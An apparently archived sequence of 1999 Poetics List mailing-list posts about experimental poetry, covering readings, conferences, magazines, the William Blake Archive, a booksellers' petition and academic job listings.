<fontfamily><param>Times</param><bigger><bigger>Sean Casey's post from a few weeks ago inquiring about poetry and sound reminded me that I wanted to post something on the new DOC(K)S issue on sound. DOC(K)S is a French magazine that's had a long tradition of publishing visual literature, mail art and performance documentation, but in the last couple of years has also been including electronic work on CD-ROMs and CDs along with the magazine.

This new edition on sound includes work from Bernard Heidsieck, Brion Gyson, Paul Dutton and many others on two CDs along with various essays and documentation. There's also a clip from A Sound Education, a piece I did with S. Alburger for New American Radio several years back.

The main address for DOC(K)S for anyone interested is:

DOC(K)S

AKENATON / Philippe Castellin / Jean Torregrosa

12 Cours Grandval

F-20 000 Ajaccio

France

e-mail: [redacted]

The distribution address is:

DIFFUSION Z editions

6 rue du lycee

F-06000 Nice

France

Ward Tietz

</bigger></bigger></fontfamily>

↑ Index

106. sylvester pollet
Kathleen Raine?
Sat 6 Mar 1999

Could someone in Poetics land help this enterprising scholar? You could respond directly to him, though I'd like to know the info too, and perhaps others would. Snowing hard here, Sylvester

> *From: [redacted]*
> *Date: Fri, 5 Mar 1999 02:26:00 EST*
> *To: [redacted]*
> *Mime-Version: 1.0*
> *Subject: Kathleen Raine*
>
> *Greetings! I have been scouring the Internet all night trying to find a way to contact the poet Kathleen Raine. (In fact, I'm not entirely certain she's still alive!) I am working on a biography of the late poet/scientist Jacob Bronowski, whom she knew in her days at Cambridge University, and would like to get in contact with her. I thought maybe someone at the National Poetry Foundation would know how I could reach her. Any suggestions?*
>
> *TM:$*
>
> *---*
> *Timothy Sandefur*
> *6128 N. Cedar Ave.*
> *Rialto, CA 92377*

↑ Index

107. megan minka lola camille roy
New Langton Arts--- Bay Area Award Show announcement
Sat 6 Mar 1999

Hi everybody, New Langton Arts in San Francisco has a program for supporting Bay Area writers and poets called the Bay Area Award Show. (Awards are also made in other artistic disciplines.) The award consists of a reading with honorarium. Last years' recipients were Laura Moriarty and Aaron Shurin. The deadline for submission is coming up soon---March 26. If you want guidelines, email me (backchannel) with your snail mail address, and I will send you the brochure. (A submission includes a ten page manuscript).

thanks,
camille roy
&&&

Keith and Rosmarie Waldrop were there, giving a reading with Jennifer Moxley and serving as the great eminences gris for the whole affair. There was also a panel on Rosmarie's work with papers by Kornelia Freitag and Ann Simon, and at least one magazine on display that carried an essay on her work (Samizdat #1, edited by yours truly).

If you're wondering who to watch among young Belgian poet-critics (and who isn't) I'd say Michel Delville is your man. At 30, he's done a lot: become junior professor at Liege, helped organize the conference and give it its experimental emphasis, written experimental poetry in English and French (we hope to have some of his work in a future issue of Samizdat) and published a book on the American Prose Poem with University Press of Florida (a damn good book, too, with a long section on Rosmarie Waldrop, and a detailed tracing of the roots of the American prose poem in European literature). In fact, Delville is so smart and talented and conscientious and cool and darkly good looking one is driven into fits of envy. But I digress.

There was a fun double-reading by Maxine Chernoff and Paul Hoover at a jazz club where we all drenched ourselves in Belgian beer. Maxine read dialogue-poems about a 'fictitious' husband of hers and the odd sounds he makes while orgasming, while Paul looked distinctly uncomfortable -- makes one wonder about referentiality and the scene of reading in a whole new way.

Joe Amato and Kassia Fleisher gave a simultaneous double-voiced reading on the subject of collaboration, and, as Paul Hoover pointed out, it posed some interesting questions about the politics of listening -- Joe was on one side of the room, Kass on the other, and Paul felt that those of us on Joe's side were encouraged to listen to him, in a sense to root for him, just out of proximity. Some women on our side of the room objected, saying they felt solidarity with Kass, who was speaking in a kind of feminist discourse -- I found myself feeling the urge to listen to Joe precisely because he was a man and Kass was giving a strong feminist line, then I felt guilty about that and made myself listen to Kass. Hmmm...

Afterwards, instead of giving a paper Joe "gave paper" --he handed out a piece of text/image design and encouraged everyone to e-mail him about it later. So the discussion continues.

Other good things, drawn up from an embrassment of riches: Nick Selby of the U of Wales on Gary Snyder, Diederik Oostdijk of Nijmingen on Poetry Magazine's decline, Franca Bellarsi of Brussels on Beat Orientalism, Sharon Kennedy-Nolle of Paris on the politics of the Pound Museum.

The Waldrops read with Jennifer Moxley, but I had to miss this in order to catch a train to Copenhagen. I'd love to hear about it, if anyone else was lucky enough to be there. I also missed a panel on Rosmarie's work and a language

poetry panel chaired by Antoinne Caze from the Universite d'Orleans, who is quite brilliant and ought to be published in the States.

An interesting reversal of the usual conference, in which innovative work exists only on the margins. I remember one conference participant, who was giving a very good paper on James Merrill, expressing his frustration -- "Is this the picture of American poetry we want to paint? Is formal work so marginal as to disappear" On the one hand, a completely fair question. On the other hand, I couldn't help feeling a kind of "now the shoe is on the other foot" sentiment.

The book of proceedings will be published in the Spring of 2000 by the University of Liege Press, and will be a bit hard to get in the US. You can send orders in advance to:

L3 Liege Language and Literature
University of Liege English Department
3 Place Cockerill
B-4000 Liege, Belgium

or e-mail [redacted]

There's a web site with a full conference schedule, still up at:

http://www.ulg.ac.be/facphl/annonces/pwap.html

Robert Archambeau
Engelska Institutionen
Lunds Universitet
Sweden

↑ Index

109. Wendy Battin
Call for out-of-print books
Sun 7 Mar 1999

Apologies for cross-posting--

CAPA, the Contemporary American Poetry Archive, is soliciting
out-of-print poetry books for posting on the web. We've
revised our guidelines and now accept only hard-copy submissions;
send one or (if possible) two copies of the book(s) to us at
CAPA
Dept. of English
Connecticut College
New London, CT 06320

Contact me first at [redacted] and I'll email you the required release form. If you'd like to see what we've done so far, go to http://capa.conncoll.edu

CAPA is non-denominational and open to all books published by non-vanity North American presses.

==========
Wendy Battin [redacted]

CAPA: http://capa.conncoll.edu

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110. Judy Smith McDonough
poetrynow March now on-line
Mon 8 Mar 1999

A brief (non-)commercial message:

poetrynow March on line
http://www.poetrynow.org

Judy Smith McDonough, editor

↑ Index

111. miekal and
Re: Joining you, finally
Mon 8 Mar 1999

---

the millenium must truly be here if bruce in online. deconstruct me baby.

miekal

bruc® &ndr®ws wrzeust®:
>
> D®&r List®®s:
> Slzeusw ®m®rg®nc® zeusut zeusf n®&ndr&-t®chnzeus-th&l/thr&ll.
> Fin&lly s®t up with czeusmput®r in zeusffic®, h®r® zeusnc® &
> w®®k tzeus lurk th® Pzeus®tics List dig®st, ®tc.
> ®-m&il &ddr®ss is < &ndr®wsbruc®@n®tsc&p®.n®t >
> ZEUSr, &s ®v®r, r®gul&r m&il &t 41 W®st 96 St., &pt. 10-D,
> N®w Yzeusrk, N.Y. 10025 ([redacted]).
>
> H&ppy tzeus b® &bzeus&rd. &ll b®st, Bruc® &ndr®ws
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> Mzeusr® th&n just ®m&il--G®t yzeusur FR®® N®tsc&p® W®bM&il
&cczeusunt tzeusd&y &t http://hzeusm®.n®tsc&p®.czeusm/n®tc®nt®r/m&il

↑ Index

112. bruce andrews
Joining you, finally
Mon 8 Mar 1999

Dear Listees:
Slow emergence out of neandra-techno-thal/thrall.
Finally set up with computer in office, here once a
week to lurk the Poetics List digest, etc.
E-mail address is < [redacted] >
Or, as ever, regular mail at 41 West 96 St., apt. 10-D,
New York, N.Y. 10025 ([redacted]).

Happy to be aboard. All best, Bruce Andrews

_____ More than just email--Get your FREE Netscape WebMail account today at http://home.netscape.com/netcenter/mail

↑ Index

113. miekal and
EPOS [Yr LifeLoveWork]
Mon 8 Mar 1999

...eXTENDED pOETRY oPERATING sYSTEM...

EPOS is a reflexive sphere within which collisions & entanglements of all LONGPOEM thoughts/works are invited. Dialogue. Networking. Collective creation of a long poem resources website. A medium for the broadcast your long poem in progress. Book trading. Bibliomania. Manifestos. Filibusters. Interwriting. Observations of the Author inside her lifelong writation. Or in the very least, a readerly lens for practical & usable understanding of works such as A, The Martyrology, Maximus Poems, Cantos, Howl & ....

"The serial poem is not simply a sequence. It is meant to be a narrative that transfigures time, our limit, mine. I have wanted to use the form because it makes language direct and insistent without reference to a grid of meaning, which in our time has become intolerable, a-historical, a lie. Delicate and harsh are the words that come to mind to describe the form. Since form is always the reach of content, rhythmical and musical, the serial structure has allowed me to imagine the indeterminate nature of what we are beyond finitude and other small dead ends."

Robin Blaser (from the Long Poem Anthology)

"What is a long poem? perhaps it is simply a long life or some trust in
the durational aspect of being alive."
--bpNichol

---
http://www.onelist.com/subscribe/EPOS

or email me / [redacted] & I will enlist you

This unmoderated list
is facilitated & chiselled
into html by Miekal And

↑ Index

114. Maria Damon
Re: Jew
Mon 8 Mar 1999

---

bless yew alan sondheim

At 12:41 AM -0500 3/6/99, A. Jenn Sondheim wrote:
>^
>
>
>Jew
>
>
>I number.
>I number them.
>I number myself among them.
>I would have been numbered among them.
>I might have have numbered them.
>I could have been numbered among them.
>I was numbered.
>I was numbered among them.
>I am numbered.
>I am numbered among them.
>(I count myself among them.)
>(I am counted.)
>(I am unaccounted for.)
>(I am unaccountable.)
>
>
>_____

↑ Index

115. Rachel Loden

Elmslie on TV; Chernoff, Bromige, Nguyen

Mon 8 Mar 1999

> *There was a fun double-reading by Maxine Chernoff and Paul Hoover at a jazz club where we all drenched ourselves in Belgian beer. Maxine read dialogue-poems about a 'fictitious' husband of hers and the odd sounds he makes while [censored]*

Maxine Chernoff's very funny playlet THE SOUND is available in _Jacket_:

http://jacket.zip.com.au/jacket04/chernoff.html

Great to see that her LEAP YEAR DAY : NEW AND SELECTED POEMS is back in print from Jensen/Daniels (available from SPD).

Another very funny playlet : David Bromige's IS POETRY COMMUNICATION? on the The East Village Poetry Web's Poetries of Canada site (which you should check out anyway for its rich and various fare):

http://www.geocities.com/~theeastvillage/vc.htm

Am reliably informed that Kenward Elmslie's opera LIZZIE BORDEN will be on PBS's Live from Lincoln Center Wednesday, March 24, at 8 p.m.

A poem from Hoa Nguyen's DARK ($7 from 2925 Higgins Street, Austin, TX 78722):

BAKED ALASKA

from My Childhood with Food

It is possible You can
take whole parts of land chunk
of ice cream (pink) ice cream
mysterious meringue
Stuff it in a hot box hot How
is the trick of it baking
igloos with kin inside
They are they not real ice
cream white and pink
It's complicated

Rachel Loden

↑ Index

116. lee ann brown
Brown, Mayer, Guest in SF
Mon 8 Mar 1999

(Tuesday)
March 9: Reading: Lee Ann Brown, Barbara Guest & Bernadette Mayer,

New College of California, Cultural Center,
777 Valencia Street
San Francisco, CA,

7pm, $5.

[redacted]

Z Y X W V U T S R Q P O N M L K J I H G F E D C B A

Lee Ann Brown
Tender Buttons
PO Box 13, Cooper Station
New York, NY 10276

[redacted]

↑ Index

117. David Clippinger
mla panel
Mon 8 Mar 1999

I have put together a panel for next year's (Chicago) MLA--"A Buddhist Renaissance: Buddhist Writing/Writing Buddhism"-- but because one of the panelists has had to withdraw, I am in need of one or two panelists who would be interested in either presenting a paper or chairing the panel.

Please send me an email as soon as possible if you are interested.

All best,
David Clippinger

David Clippinger, Ph.D.
Assistant Professor of English
Penn State University
100 University Drive
Monaca, PA 15061-2799
[redacted] (phone)
[redacted] (fax)

+ + + +

Mind is the forerunner of all actions.
All deeds are led by mind, created by mind.
If one speaks or acts with a corrupt mind, suffering follows,
as a wheel follows the hoof of an ox pulling a cart.

Mind is the forerunner of all actions.
All deeds are led by mind, created by mind.
If one speaks or acts with a serene mind, happiness follows,
As surely as one's shadow.

Buddha, Dhammapada

+ + + +

Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

↑ Index

120. **james loucks**
Re: Kathleen Raine?
Tue 9 Mar 1999

Here's her address from Gale Research/Contemporary Authors database:

Addresses: Home: 47 Paultons Sq.,
London SW3, England.

Ms. Raine would be 91 in June (I do not know if she's still alive.) She took an MA from Cambridge in 1929, in a cohort that included William Empson, Ronald Bottrall, Humphrey Jennings, Charles Madge (whom she married after divorcing Hugh Sykes Davies), Michael Redgrave, James Reeves, et al. -- all poets before turning to other things (Jennings made documentaries, Madge did Mass Observation, and we all know what Empson and Redgrave got into.) In researching Bronowski, Mr. Sandefur might want to see bios and memoirs on these other figures as well as Ms. Raine.

All best wishes,

Jim

At 04:58 PM 3/6/1999 -0500, you wrote:
>Could someone in Poetics land help this enterprising scholar? You could
>respond directly to him, though I'd like to know the info too, and perhaps
>others would. Snowing hard here, Sylvester
>
>>From: [redacted]
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>>To: [redacted]
>>Mime-Version: 1.0

>>Subject: Kathleen Raine
>>
>>Greetings! I have been scouring the Internet all night trying to find a way to
>>contact the poet Kathleen Raine. (In fact, I'm not entirely certain she's
>>still alive!) I am working on a biography of the late poet/scientist Jacob
>>Bronowski, whom she knew in her days at Cambridge University, and would like
>>to get in contact with her. I thought maybe someone at the National Poetry
>>Foundation would know how I could reach her. Any suggestions?
>>
>>TM:$
>>
>>-----
>>Timothy Sandefur
>>6128 N. Cedar Ave.
>>Rialto, CA 92377
>>
>
James F. Loucks
Associate Professor of English
The Ohio State University at Newark
1179 University Drive
Newark, OH 43055-1797
[redacted] (voice mail)
fax: [redacted] or [redacted]
e-mail: [redacted]

↑ Index

121. Tom Beckett

Stray

Tue 9 Mar 1999

Life is mostly lie.
Add in the sound
of air escaping.

↑ Index

122. franklin bruno
pagemothers?
Tue 9 Mar 1999

Folks--

Despite my best intentions, I ended up having too much work last weekend to justify the two hour drive each way to UCSD. I'm sure I'll regret this for the rest of my life (especially as I'm highly unlikely to see B. Mayer read under other circumstances)--to hone this growing feeling of guilt and missed opportunity, is anyone ready to post a report on the Pagemothers conference/readings?

fjb

↑ Index

123. Matt Kirschenbaum
Blake Archive's March Update
Tue 9 Mar 1999

---

9 March 1999

The editors of the William Blake Archive <http://www.iath.virginia.edu/blake/> are pleased to announce the publication of three new electronic editions of Blake's most popular work, _Songs of Innocence and of Experience_. They are of copies C, F, and L -- none has been reproduced before now.

Songs copy C is one of the first copies of the combined _Songs_. Along with copies B, D, and E, it was formed in 1794 of _Innocence_ plates printed in raw sienna on both sides of the leaf in 1789 and _Experience_ plates lightly color printed in yellow ochre in the same format in 1794. By this time, Blake had decided to move plates 34-36 ("The Little Girl Lost" and "The Little Girl Found") to _Experience_, but since plate 34 was printed on the verso of the leaf with plate 26 ("A Dream"), plate 26 is read in this copy, as well as in copies B and D, as an _Experience_ poem. And, like copies B and D, copy C is missing plate 52 ("To Tirzah") but has the small vignette known as plate a (five cherubs carrying a naked figure), one of Blake's earliest relief etchings used here as a tailpiece. Copy C is in the Rosenwald Collection, Library of Congress.

Bibliographically, copy F is even more interesting. It, too, consists of two sections printed differently and at different times. Its _Innocence_ plates were printed in green ink on both sides of the leaf in 1789, probably before the raw sienna printing. Its _Experience_ plates were heavily color printed on one side of the leaf in 1794, before those in copy C, possibly while _Experience_ was still in progress. The impressions of _Experience_ were printed with those now in _Songs_ copies G, H, and T, which are all missing plates 39, 44, 45, and 48.

Together, these four plates form one sheet of copper. The fact that all four plates are missing from all four copies suggests that the plates were not yet part of _Experience_ at the time of this printing. These four color-printed copies of _Experience_ appear to have been intended as autonomous publications. At any rate, there are no extant sets of _Innocence_ impressions printed in this style, copies G and H remain without _Innocence_, and copies F and T were assembled by someone other than Blake.

Songs copy L, like copy F, is in the Yale Center for British Art. Unlike copies C and F, though, its two parts were printed together in a uniform style, dark brown ink on one side of the leaf, ca. 1795. It has all 54 plates, including plate 52, that make up the combined _Songs_ and is numbered by Blake 1-54.

All of these editions have newly edited SGML-encoded texts and all are fully searchable for both text and images and supported by the unique Inote and ImageSizer applications described in our previous updates. We now have twenty-nine copies of sixteen illuminated books in the Archive. We will soon be adding two more copies of _The Marriage of Heaven and Hell_ and an in-depth illustrated Tour highlighting the Archive's features and some ways to use its resources. We will continue to add new electronic editions of illuminated books throughout the spring and summer.

Morris Eaves, Robert N. Essick, Joseph Viscomi, Editors
Matthew Kirschenbaum, Project Manager
The William Blake Archive

↑ Index

124. MAXINE CHERNOFF

Re: Elmslie on TV; Chernoff, Bromige, Nguyen

Tue 9 Mar 1999

Actually, it's the "he" of the playlet that doesn't like the sound that the "she" makes. Interesting that the listener's interpretation of the piece was the opposite (and certainly supportable, of course).

Maxine Chernoff

On Mon, 8 Mar 1999, Rachel Loden wrote:

> *There was a fun double-reading by Maxine Chernoff and Paul Hoover at a jazz club where we all drenched ourselves in Belgian beer. Maxine read dialogue-poems about a 'fictitious' husband of hers and the odd sounds he makes while [censored]*
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>
> *from My Childhood with Food*
>
> *It is possible You can*
> *take whole parts of land chunk*
> *of ice cream (pink) ice cream*
> *mysterious meringue*
> *Stuff it in a hot box hot How*
> *is the trick of it baking*
> *igloos with kin inside*
> *They are they not real ice*
> *cream white and pink*
> *It's complicated*
>
> *Rachel Loden*

↑ Index

125. John Tranter
burning blackly
Tue 9 Mar 1999

I'd like to know where I could find material on Paul Blackburn, particularly his poetry and his connection with the starting of the Poetry Project at St Mark's in 1966.
Thanks,
JT

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted] Editor, Jacket magazine:
http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at
http://www.alm.aust.com/~tranterj/index.html

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126. **pete spence**

Re: YOUR help needed!! - Russian artist under prosecution for his art

Tue 9 Mar 1999

> *Subject:*
> *RHIZOME_RAW: YOUR help needed!! - Russian artist under prosecution for his art*
> *Date:*
> *Sun, 07 Mar 1999 00:24:10 +0300*
> *From:*
> *alexei shulgin <[redacted]>*
> *To:*
> *[redacted], [redacted], [redacted], [redacted], [redacted]*
>
> *[apologies for cross-postings!]*
>
> *Moscow artist Avdei Ter-Oganian is about to go to prison for his performance "Young Anti-Christ" which he made in last December at "Art Manege" Fair in Moscow.*

>You can see one of Avdei's projects at: http://www.cs.msu.su/wwwart/caw
>
>Alexei Shulgin
>+
>
>mr and maybe you should also post this info out to the mail-art network!!! pete spence

Get Your Private, Free Email at http://www.hotmail.com

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127. George Bowering
Re: Adolfo Bioy Casares
Tue 9 Mar 1999

Thanks to Pierre for the sad news about Bioy Casares. It has been expected for a while; he has long long been my favourite LatinAmerican writer. Once my wqife refused to read past the midpoint of _A Plan of Escape_ because she was afraid she would have to give up her mind for the sake of a book. Exactly right, I thought. I try to read him in Spanish and then I read him in English.Once a magazine in Ontario, knowing of my interest, tried to get me to translate a new story tghat had appeared in a Buenos Aires newspaper, and I tried, but wouldnt do it becauyse I was afraid of not being good enough translator. Thank goodness there is a lot of work from him, and several years ago _The Review_ that magazine that studies LatinAmerican writing (is it in Washington?) did an issue on Bioy.

In looking for his books, be patient. A lot of bookstores will file him under C, just as they file Garcia Marquez under M.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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128. A. Jenn Sondheim
BOOKS (fwd)
Tue 9 Mar 1999

CIRCULATE WIDELY

Petition to protect small booksellers. This petition is important to the small independent booksellers. Please take a moment to sign it. If you are the 50th, 100th, 150th signature, please e-mail the petition to the AMERICAN BOOKSELLERS ASSOCIATION, e-mail address [redacted] .

If you want more info, here is a web site: http://web.bookweb.org/m-bin/by_topic?topic_id=37 PETITION TO BLOCK BARNES & NOBLE ACQUISITION OF INGRAM This petition will be sent to the US Congress, Department of Justice and the Federal Trade Commission to block Barnes & Noble's proposed acquisition of the Ingram Book Company, the single largest supplier of books to small bookstores across the country. This acquisition, should it be allowed to take place, is just one

more example of the large scale corporate consolidation that has infiltrated every corner of our culture.

As the desire intensifies to increase bottom line profits, no matter what the other consequences, so does the concentration of power in the book industry. Consumers are left with an environment in which fewer and fewer people are deciding which books get published and ultimately, which books Americans can read and buy. Barnes & Noble has already entered into an alliance with the $14 billion media giant, German-owned Bertelsmann AG. Now with Barnes & Noble's proposed acquisition of the billion-dollar Ingram Book Company, there can be little doubt that the book industry is falling prey to the same anticompetitive ills that currently plague computer software and other industries. This deal would make independent bookstores virtually dependent upon their largest competitor for their books. (It is as if Burger King and Wendy's had to buy their French fries from McDonald's).

We need your help. As a patron of independent booksellers, please sign the petition to help us lobby the government to stop this proposed merger.

Please exercise your right as a citizen and tell the government how you feel. We sincerely thank you for your support.

Please add your name to this petition and forward it to as many people as you can. If you want to sign the petition but not send it around, please sign and return it to e-mail address above. **IMPORTANT: Do not use the "Forward" utility in your mail program. Instead, cut and paste this message into a NEW E-MAIL, add your name to the bottom of the list, and send it out widely to all your friends and networks. **

1. Meg Gouraud, Canon City CO
2. Garrison Keillor, St. Paul MN.
3. Roy Blount Jr., NY NY
4. Ridley Pearson, Bellevue ID.
5. Amy Tan, San Francisco CA
6. Stewart Wallace, New York NY
7. Richard Einhorn, NY, NY
8. Norman Hollyn, Santa Monica CA
9. JoAnn Hanley, Los Angeles CA
10. Isabel King, Gardena CA
11. Maya Conn, Santa Monica CA
12. Matthew Weinstein, Brooklyn NY
13. Alice Shechter, Brooklyn NY
14. Bj Richards, Oak Park, Il.
15. Susan Salidor, Chicago, IL

16. Heidi Kafka, Chicago, IL
17. David Lavan, Chicago, IL
18. Annissa Anderson, Bend, OR
19. Cheryl Heinrichs, Bend, OR
20. Sean F. Everton, San Jose, CA
21. Deanne L. S. Everton, San Jose, CA
22. Dawn Ramsey, Bend, OR
23. Barbara Boothby, Bellingham, WA
24. Laura Cazares, Santa Barbara, CA
25. Karin Gursky, San Rafael, CA
26. Gregory Hines, San Francisco, CA
27. Hal Conklin, Santa Barbara, CA
28. Daniel Figlo, Santa Barbara, CA 29. Neal Rabin, Santa Barbara, CA
30. Christopher Horner, Venice, CA
31. Luis Watts, Bloomfield Hills, MI
32. Joel Swadesh, USA
33. Jane Prettyman, Santa Barbara, CA
34. Joe Forgy, Texarkana, TX
35. Janet Stevens, Irvine, CA
36. Jeannie Brown, Mission Viejo, CA
37. Patricia Sierra, Toledo, OH
38. Austin Wright, Cincinnati, OH
39. James Wheatley, W. Hartford, CT
40. David Richter, New York, NY
41. John Richetti, Philadelphia, PA
42. Nina Auerbach, Philadelphia, PA 4
43. Catherine Benamou, Ann Arbor, MI
44. Celeste Olalquiaga, NYC
45. Eunice Lipton, NYC
46. Sharon Frost, NYC
47. Allen Eisenberg, NYC
48. Alan Sondheim, NYC

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129. Peter Ganick
statement on music
Wed 10 Mar 1999

---

ceramic skeletons in a fear to blot down alive notions dead notions watered from hovering within a space-filled crosswise and famed retaliation of the agreeable innuendo. not recursive as is everything what you infect with amazement on scramblers and fear blotting down alive notions deaf needs for

the cruelly rerun re-pasteurized demoted formulaic notions calling themselves sentences something neutral. if and when. who and why. what the for makes of theatre inverting pristine x-ray mentality not too late in the morning, but blotted in amazement of scramblers. some not careful of front and background sound. some too beleaugured to help in an upcoming desertion well-spun with cacti and wildflowers, where help is the mental resistance of precision funneled through a rack-and-pinion steering that is donor-proof. woken through the same ovulation. greased in the bodily fortune that simmers either./or toxicities yoga notifies witnessing itself witness yourself witnessing nowhere becoming itself sleepy mistreatment

↑ Index

130. David Baratier

Pavement Saw Chapbook contest:PANTS

Wed 10 Mar 1999

1998-99 winner of the Pavement Saw Press Chapbook Contest Ruth Anderson Barnett, editor of the Marlboro Review chose PANTS by Shelley Stenhouse. $500 and 25 copies of the winning chapbook will be awarded to the author. The book will be published by May 1st. Shelley lives in NYC. This is her first collection of poems some pieces first appeared in Mudfish.

All contestants who included an SASE will recieve a copy.
Advance orders taken now $5. Instead of $6 plus postage.
Includes exciting retro cover.

The Pavement Saw Press Chapbook Award was established in 1995 to promote writers whose work challenges conventions of contemporary poetry while encouraging multiple readings. Writers world-wide are invited to participate. Each year, one manuscript is selected by a writer with a thorough familiarity of the small press realm. Publication, a prize of five hundred dollars, and ten percent of the book run is awarded to the winner.

I will post a poem from this in the upcoming week. Thanks to everyone who participated.

Be well

David Baratier, Editor, Pavement Saw Press
PO Box 6291
Columbus OH 43206

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131. Catherine Daly
Re: PageMothers Report
Wed 10 Mar 1999

I was hoping that the talks would be posted to the UCSD site (http://orpheus.ucsd.edu/lit/pagemothers.html).

I had to leave early and missed the readings, too.

Regards,
Catherine Daly
[redacted]

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132. Maria Damon (Maria Damon)
fwd: job lists
Wed 10 Mar 1999

Supplement to AWP Job List Online -- March 10, 1999

The following jobs are extremely time sensitive. They were received after the copy deadline for the March/April 1999 print edition of AWP Job List.

Louisiana State University

Louisiana State University's creative writing program anticipates the appointment of a visiting fiction writer at the assistant or associate level for the fall and spring, 1999-2000. Writers applying should have an MFA,]or other terminal degree, and at least one book of fiction in print, preferably more. Teaching experience a must. Graduate and undergraduate classes, salary competitive. Send cover letter, vita, letters of recommendation, and a writing sample to Dr. Malcolm Richardson, Chair, Department of English, Louisiana State University, Baton Rouge, LA 70803. Materials will be accepted through April 9, 1999, or until a candidate is selected. If you desire your writing sample returned, please send along an SASE. Please tell us if you plan to attend the AWP convention in Albany. EOE

University of Alabama

The Program in Creative Writing at the University of Alabama announces an extension of its search and invites applications for an Associate or advanced Assistant Professor to teach fiction writing in a thriving MFA program beginning Fall, 1999. We are seeking a fiction writer of national reputation with significant book publication and substantial teaching experience for this permanent position. The MFA is the preferred degree. Expertise in the writing of other genres is desirable but not required. Typically the teaching load for a productive faculty member is two classes per semester. Salary and rank will be

commensurate with experience. We currently enroll about 200 undergraduates in creative writing and some 60 MFA students. The writing program has excellent support from the English Department and the University. The faculty in the Program in Creative Writing is comprised of two poets (Robin Behn and Bruce Smith) and three fiction writers (Michael Martone, Sandy Huss, and the person to be hired). An endowed chair brings two more writers a year to campus, each for a semester in residence, and the endowed Bankhead Visiting Writer's Series annually sponsors a dozen or more readings and short residencies. Alabama is home to both a campus literary magazine and the nationally known Black Warrior Review. About 95% of our MFA students, who come from all over the United States, enjoy fellowships or teaching assistantships, and many are publishing well. Review of applications continues until the position is filled. Priority for AWP convention interviews will be given to those applications received by March 31. Send letter, vita, dossier and writing samples to: Michael Martone, Search Committee Chair, Department of English, University of Alabama, P.O. Box 870244, Tuscaloosa, AL 35487-0244. The University of Alabama is an Equal Opportunity Affirmative Action employer.

Indiana University

Assistant Professor, one-year visitor in Creative Writing (fiction) for 1999-2000. Salary competitive. We are looking for someone prepared to participate fully in an active graduate and undergraduate Creative Writing Program. Teaching load (2/2) includes a graduate topics course, two undergraduate workshops, and an undergraduate literature course, plus relevant committee work. Applicants must have published one book of fiction. Send application, c.v., book, letters of recommendation and a representative sample of teaching materials by April 15 to: Maura Stanton, Director, Creative Writing Program, Ballantine Hall 442, 1020 E. Kirkwood Avenue, Bloomington, IN 47405-7103. Minority candidates strongly encouraged to apply. AA/EOE Employer.

Converse College

Sabbatical replacement in English. A 9 month non-renewable position beginning in September 1999. Ph.D. preferred; ABD considered. While the primary teaching responsibilities will be Composition and Introduction to Literary Types, some upper-division teaching will be included. Candidates with expertise in 19th-century British literature are especially encouraged to apply. Five to seven course load over the nine month period; salary competitive. Please send letter of application and c.v. with names and phone numbers of 3 references to Karen Carmean, Chair, Dept. of English, Converse College, Spartanburg, SC 29302. Converse College is a private, liberal arts women's college. Women and minorities are encouraged to apply.

Proposals Now Accepted
for AWP in Kansas City

March 30-April 1, 2000
Kansas City Marriott Downtown
Kansas City, Missouri

Come celebrate the new century in the town thats famous for blues, jazz, barbecue, steaks--and, of course, writing. This year a major emphasis of the conference is The New Century; Whither the Written Word? Your proposals are welcome. Please visit the AWP website at <http://web.gmu.edu/department/awp> for more details, or to fill out a presentation proposal form. If you would like a form mailed to you, please contact AWP at [redacted], e-mail <[redacted]>, or write to Roxanne French-Thornhill, Associated Writing Programs, Tallwood House, MSN 1E3, George Mason University, Fairfax, VA 22030.

AWP Job List Online -- March/April 1999 -- Academic Jobs 1/2

Arkansas

* Arkansas Tech University

Tenure-track assistant professor to teach creative writing & composition. PhD preferred, MFA required, significant fiction publication expected, & background in rhetoric helpful. Annual teaching load will include one or two undergraduate creative writing courses in our BFA program & six or seven general education composition & literature courses. Occasional graduate courses in creative writing or rhetoric are possible. Demonstrable commitment to undergraduate general education instruction is required. Send application letter, resume, & a dossier including three current letters of reference by March 29, 1999 to Carl Brucker, Head, Dept. of English, Arkansas Tech University, Russellville, AR 72801. AA/EOE

Arizona

Phoenix College

The Creative Writing Program at Phoenix College invites applications for a one-year appointment as Writer in Residence for the 1999-2000 academic year. We are one of ten Maricopa County Community Colleges, serving a metropolitan area of approximately 2.8 million people. Phoenix College is an urban campus with an enrollment of 11,500 students. We offer a certificate of completion in creative writing with coursework in fiction, poetry, screenwriting, playwriting, creative nonfiction, bilingual creative writing, & writing for children. With an enrollment of approximately 150 writers, our program is a significant center for the literary arts in Phoenix, offering an impressive reading series & substantial

noncredit workshops, as well as credit courses. A Writer in Residence will teach the equivalent of 15 credit hours per semester. She/he will be expected to teach both creative writing & composition & should be eager to work with a diverse student population. MA or MFA required, with substantial creative publications. Knowledge of & teaching experience in Chicano literature desired. Entry level salary approximately $35,000 plus benefits. The Maricopa County Community College District is an EO/AA institution. Send letter of application & c.v. by April 1st to Dr. Lisa Miller, Director, Creative Writing Program, Phoenix College, 1202 W. Thomas Rd., Phoenix, AZ 85013. For more information, call [redacted].

* Yavapai College

Yavapai College, a growing multi-campus community college located 90 miles north of Phoenix, sits in the beautiful mountains of Arizona at an elevation of 5,300 feet in Prescott, the States first capital. Prescott offers an ideal year-round climate & a quality of life that includes mountains out your back door & a town reminiscent of the Old West. Prescott is part of a tri-city area with a population of 60,000, of which Yavapai College is a central focus for performing arts & entertainment. The College offers its faculty the opportunity for tremendous personal & professional development & seeks applicants who have a desire for innovation & student-centered teaching. A positive, critical-thinking approach is a must. Since service to our students is our highest priority, as a member of our team you can expect to participate in innovative methods & flexible scheduling. Applicants must have proven technological skills which must include the ability to promote & utilize computer technology into the teaching & learning experience. The ability to interact in a team environment & demonstrated strengths in collaborative issue resolution is required. Additionally, a proven track record with alternative delivery systems such as lab-based, project-based, online, or distance delivery is also required. Project-management & prior teaching experience a plus. If you possess these competencies as well as a minimum of a Masters Degree in the related teaching field, we invite your response for the following positions which will begin Fall 1999: English Instructor (2 Positions Available). Responsible for teaching freshman & sophomore level English & literature courses. Currency in composition theory & learner-centered pedagogy as well as a track record with alternative delivery methods required. Applicants should send a letter of application with a resume & a list of three recent professional references to: 